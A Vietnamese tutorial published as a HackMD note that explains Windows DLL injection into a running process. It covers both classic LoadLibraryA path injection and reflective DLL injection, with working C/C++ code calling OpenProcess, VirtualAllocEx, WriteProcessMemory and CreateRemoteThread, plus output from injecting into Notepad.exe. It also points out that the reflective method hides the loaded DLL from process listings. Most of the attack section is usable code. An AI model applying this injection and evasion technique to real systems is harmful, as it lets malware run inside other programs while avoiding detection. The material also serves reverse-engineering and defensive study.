Nguyễn Duy Bình
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # DLL Injection DLL viết tắt của Dynamic Link Library –  Thư viện liên kết động là một file cho phép người dùng chia sẽ code với những chương trình khác để thực hiện một số nhiệm vụ cụ thể. Nó là một thư viện chức năng bên ngoài, và nó giữ thông tin mà có thể truy cập bởi các loại phần mềm khác nhau. Sử dụng DLL sẽ giúp chúng ta tiết kiện bộ nhớ, cũng chỉ chỉ nạp vào hệ thống khi cần, và cũng có thể được sử dụng bởi nhiều chương trình cùng 1 lúc. DLL Injection là quá trình chèn code vào một tiến trình (process) đang chạy. Code được sử dụng ở đây là ở dạng thư viện liên kết động (DLL). Tuy nhiên không phải chỉ chèn được code dạng DLL, chúng ta có thể chèn code ở nhiều dạng khác như exe, handwritten, … Điều quan trọng là chúng ta có đủ quyền hệ thống để thao tác với tiến trình của ứng dụng khác hay không. Trong khuôn khổ bài viết này mình sẽ chỉ chia sẻ về DLL Injection. Windows API đã cung cấp cho chúng ta một vài các hàm để can thiệp và thao tác vào những chương trình khác cho mục đích Debug. Chúng ta sẽ tận dụng các API này để thực hiện chèn DLL. Có hai cách để thực hiện Inject DLL vào Process đang chạy: Inject đường dẫn của DLL và Inject cả nội dung của file DLL. Cả hai cách trên đều có các bước thực hiện chung như dưới đây: - Can thiệp vào process - Cấp phát một vùng nhớ trong process - Copy toàn bộ DLL hoặc đường dẫn đến DLL vào vùng nhớ đó và xác định vị trí của vùng nhớ - Process thực thi DLL ![image](https://hackmd.io/_uploads/ryrF-zu0p.png) ## Inject đường dẫn DLL ### Bước 1: Can thiệp vào Process Đầu tiên chúng ta cần lấy được handle của process để có thể thao tác với nó. Bước này chúng ta sẽ sử dụng hàm ``OpenProcess()``. Chúng ta cũng cần những yêu cầu về quyền truy cập để thực thi các tác vụ dưới đây. Những quyền truy cập mà chúng ta cần sẽ khác nhau đối với các phiên bản Windows, tuy nhiên hầu hết là như dưới đây: ```cpp= // argv[1] là Process ID của tiến trình cần can thiệp HANDLE ph = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, atoi(argv[1])); ``` ### Bước 2: Cấp phát vùng nhớ Trước khi chèn bất kì thứ gì vào process khác chúng ta đều cần có một chỗ để đặt nó vào. Chúng ta cần cấp phát vùng nhớ để ghi đường dẫn Dll vào. Và chúng ta sẽ sử dụng hàm ``VirtualAllocEx()`` để thực hiện công việc đó. ``VirtualAllocEx()`` lấy dung lượng vùng nhớ cần cấp phát làm tham số truyền vào. ```cpp= char evildll[] = "C:\\Users\\Dell\\Downloads\\DLL_Injection\\evil.dll"; unsigned int evillen = sizeof(evildll) + 1; LPVOID rb = VirtualAllocEx(ph, NULL, evillen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); ``` ### Bước 3: Copy DLL và xác định địa chỉ Khi đã có vùng nhớ cần thiết, chúng ta sẽ sử dụng hàm ``WriteProcessMemory()`` để thực hiện công việc ghi: ```cpp= WriteProcessMemory(ph, rb, evildll, evillen, NULL); ``` Tiếp theo chúng ta cần xác định địa chỉ bắt đầu thực thi (``LPTHREAD_START_ROUTINE``) cho hàm ``CreateRemoteThread()``. Ở đây chúng ta sẽ chọn địa chỉ bắt đầu là địa chỉ của hàm ``LoadLibraryA()``. ``LoadLibraryA()`` là hàm trong kernel32.dll để nạp DLL, file thực thi hoặc các loại thư viện khác. Tham số truyền vào của hàm là tên DLL. Nghĩa là chúng ta chỉ cần cấp phát một vùng nhớ, ghi đường dẫn đến DLL và chọn điểm bắt đầu thực thi là địa chỉ của hàm ``LoadLibraryA()``, tham số truyền vào là địa chỉ của vùng nhớ chứa đường dẫn đến DLL. Nhược điểm chính của hàm ``LoadLibraryA()`` là nó sẽ đăng ký DLL với chương trình nên sẽ dễ bị phát hiện (mỗi chương trình đều có một bảng các DLL sẽ nạp). Chúng ta sẽ xác định địa chỉ của hàm LoadLibraryA() và chuyển nó đến hàm thực thi cùng với tham số truyền vào là địa chỉ vùng nhớ chứa đường dẫn đến DLL. Để lấy địa chỉ của hàm LoadLibraryA(), ta sẽ sử dụng GetModuleHandle() và GetProcAddress(): ```cpp= HMODULE hKernel32 = GetModuleHandle("Kernel32"); VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA"); ``` ### Bước 4: Thực thi Dll Hiện tại, DLL đã nằm trong vùng nhớ của process và chúng ta đã có địa chỉ của vùng nhớ đó. Việc cuối cùng cần làm là cho process thực thi nó. Có một vài cách để process thực thi DLL nhưng trong phạm vi bài viết này tôi chỉ trình bày cách sử dụng ``CreateRemoteThread()``. Đây cũng là cách được sử dụng rộng rãi nhất. ```cpp= HANDLE rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL); WaitForSingleObject(rt, INFINITE); ``` Hàm này sẽ tạo ra một tiến trình mới và gọi hàm ``LoadLibraryA`` với tham số là memory chính là đường dẫn file dll. Mục đích của việc này là để nạp file Dll trên vào trong tiến trình đang can thiệp, sau đó thực thi nó từ xa. Vì thế khi khi ``LoadLibraryA`` được thực thi thì cũng là lúc DLLMain cũng được thực thi. Hàm ``WaitForSingleObject()`` nhằm mục đích dừng tiến trình lại để chờ hành động tiếp theo. Điều này là để xác nhận chắc chắn rằng DLL đã được thực thi trước khi Windows thực thi các công việc tiếp theo của process. Sau đây là hình ảnh khi thực hiện DLL Injection vào tiến trình Notepad.exe ``` PS C:\Users\Dell\Downloads\DLL_Injection\Inject_1> tasklist | findstr Notepad.exe Notepad.exe 12312 Console 2 70,404 K PS C:\Users\Dell\Downloads\DLL_Injection\Inject_1> .\inject1.exe 12312 PID: 12312 ``` ![image](https://hackmd.io/_uploads/B1WiTzOA6.png) Kiểm tra bằng Process Explorer, có thể thấy Dll mà chúng ta sử dụng để inject đã được load vào tiến trình Notepad.exe hiện tại ![image](https://hackmd.io/_uploads/HkXGAzdAT.png) Các bạn có thể tham khảo Source Code ở [đây](https://github.com/noobmannn/TrainRev/blob/e461e75e022cae578ab3a332141b6a8090d4b08f/DLL_Injection/Inject_1/inject1.c) ## Inject nội dung file Dll ### Bước 1: Can thiệp vào Process Chúng ta cũng sử dụng ``OpenProcess()`` để lấy Handle của process cần Inject vào ```cpp= HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, atoi(argv[1])); ``` ### Bước 2: Cấp phát vùng nhớ Từ đây sẽ có sự khác biệt so với Inject đường dẫn Dll Đầu tiên chúng ta cần lấy Handle của Dll bằng ``CreateFileA()``. Sau đó dựa vào Handle vừa lấy được để tính toán kích thước của vùng nhớ mới cần tạo. Và cuối cùng là đưa vào hàm ``VirtualAllocEx()`` ```cpp= wchar_t evildll[] = L"C:\\Users\\Dell\\Downloads\\DLL_Injection\\Inject_2\\reflective_dll.x64.dll"; HANDLE hFile = CreateFileW(evildll, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); unsigned int dllFileLen = GetFileSize(hFile, NULL); LPVOID remoteDllAddr = VirtualAllocEx(hProc, NULL, dllFileLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); ``` ### Bước 3: Copy DLL và xác định địa chỉ Chúng ta cần phải đọc file Dll trước khi ghi nó vào vùng nhớ vừa được khởi tạo bằng ``WriteProcessMemory()`` ```cpp= LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, dllFileLen); if (!ReadFile(hFile, lpBuffer, dllFileLen, &dwBytesRead, NULL)) { printf("READ FILE FAIL\n"); return -1; } WriteProcessMemory(hProc, remoteDllAddr, lpBuffer, dllFileLen, NULL); ``` Sau khi đọc xong file và ghi nó vào vùng nhớ bên trong process, chúng ta cần xác định địa chỉ bắt đầu thực thi (``LPTHREAD_START_ROUTINE``) cho hàm ``CreateRemoteThread()``. Với việc chúng ta đã đẩy toàn bộ nội dung của File dll vào bên trong tiến trình, chúng ta không cần phải gọi hàm ``LoadLibraryA`` để nạp dll vào tiến trình nữa. Bằng cách này chúng ta sẽ tránh được việc đăng ký DLL với chương trình. Tuy nhiên phần khó thực hiện là lấy entry point của DLL khi nó được ghi vào trong vùng nhớ. Ở đây chúng ta sẽ sử dụng hàm ``GetReflectiveLoaderOffset()`` được viết bởi Stephen Fewer để xác định entry point của Dll khi nó được ghi vào tiến trình. Các bạn có thể tham khảo nó ở [đây](https://github.com/stephenfewer/ReflectiveDLLInjection/) ```cpp= DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer); LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remoteDllAddr + dwReflectiveLoaderOffset); DWORD dwThreadId = 0; printf("%x %x", dwReflectiveLoaderOffset, lpReflectiveLoader); ``` ### Bước 4: Thực thi Dll Ở đây chúng ta cũng sử dụng hàm ``CreateRemoteThread()`` để can thiệp vào tiến trình. ```cpp= rThread = CreateRemoteThread(hProc, NULL, 1024 * 1024, lpReflectiveLoader, remoteDllAddr, (DWORD)0, &dwThreadId); WaitForSingleObject(rThread, INFINITE); ``` Với việc đã xác định được Entry Point, hàm ``CreateRemoteThread()`` sẽ thực thi luôn Dll Main với điểm bắt đầu là Entry Point chúng ta cung cấp cho hàm Sau đây là hình ảnh khi thực hiện Inject Dll vào tiến trình Notepad.exe ``` PS C:\Users\Dell\Downloads\DLL_Injection\Inject_2> tasklist | findstr Notepad.exe Notepad.exe 3172 Console 2 70,476 K PS C:\Users\Dell\Downloads\DLL_Injection\Inject_2> .\inject2.exe 3172 PID: 3172 44c dac3044c ``` ![image](https://hackmd.io/_uploads/S18jmQO0a.png) Có thể thấy chúng ta sẽ không tìm được file dll ``reflective_dll.x64.dll`` trong danh sách các tiến trình được nạp vào, vì đơn giản chúng ta không nạp nó vào tiến trình đang chạy bằng ``LoadLibraryA()`` ![image](https://hackmd.io/_uploads/rJyANmu0a.png) Các bạn có thể tham khảo Source Code ở [đây](https://github.com/noobmannn/TrainRev/blob/e461e75e022cae578ab3a332141b6a8090d4b08f/DLL_Injection/Inject_2/inject2.c)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully